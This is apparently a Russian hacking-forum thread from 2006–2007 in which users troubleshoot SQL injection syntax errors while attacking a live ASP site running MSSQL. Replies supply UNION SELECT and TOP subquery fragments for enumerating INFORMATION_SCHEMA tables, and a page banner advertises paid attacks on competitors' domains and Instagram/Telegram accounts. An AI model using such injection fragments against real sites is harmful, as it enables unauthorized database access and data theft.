Mssql. Ошибки синтаксиса

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Mssql. Ошибки синтаксиса

Опции темы

Поиск в этой теме

Опции просмотра

Mssql. Ошибки синтаксиса

23.02.2006, 11:06

gadjet

Познающий

Регистрация: 17.12.2005

Сообщений: 78

С нами: 10735477

Репутация: 23

Mssql. Ошибки синтаксиса

На сайте SQL инъекция (MSSQL). Подбираю столбцы, все вроде нормально. После запроса

http://.........asp?partId=5&infoId=...CHEMA.TABLES--

выдает:

Microsoft OLE DB Provider for ODBC Drivers ошибка '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'TOP'.

/_inc/engines/ssis/engine.asp, line 100

Как с этим бороться?

𝕏 Twitter Reddit Telegram Копировать ссылку

23.02.2006, 14:32

Rebz

Флудер

Регистрация: 08.11.2004

Сообщений: 3,395

С нами: 11317286

Репутация: 3876

неверный синтаксис
union select TABLE_NAME from INFORMATION_SCHEMA.TABLES--
Читай статью
http://injection.rulezz.ru/MSSQL-ASP-Injection.html

23.02.2006, 16:37

gadjet

Познающий

Регистрация: 17.12.2005

Сообщений: 78

С нами: 10735477

Репутация: 23

Статью читал,

Цитата:

union select TABLE_NAME from INFORMATION_SCHEMA.TABLES--

на подобное он говорит что каждый запрос должен содержать одинаковое число колонок

14.02.2007, 04:57

halkfild

Постоянный

Регистрация: 11.11.2005

Сообщений: 391

С нами: 10787366

Репутация: 2277

вопрос еще почему при выполнении подзапроса
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)
пишет ошибку
Incorrect syntax near the keyword 'top'.

все до вложеного правильно..

по моему те же грабли... как их убрать??

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ошибки Windows и их устранение.	Серый	Windows	6	15.12.2006 14:44

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход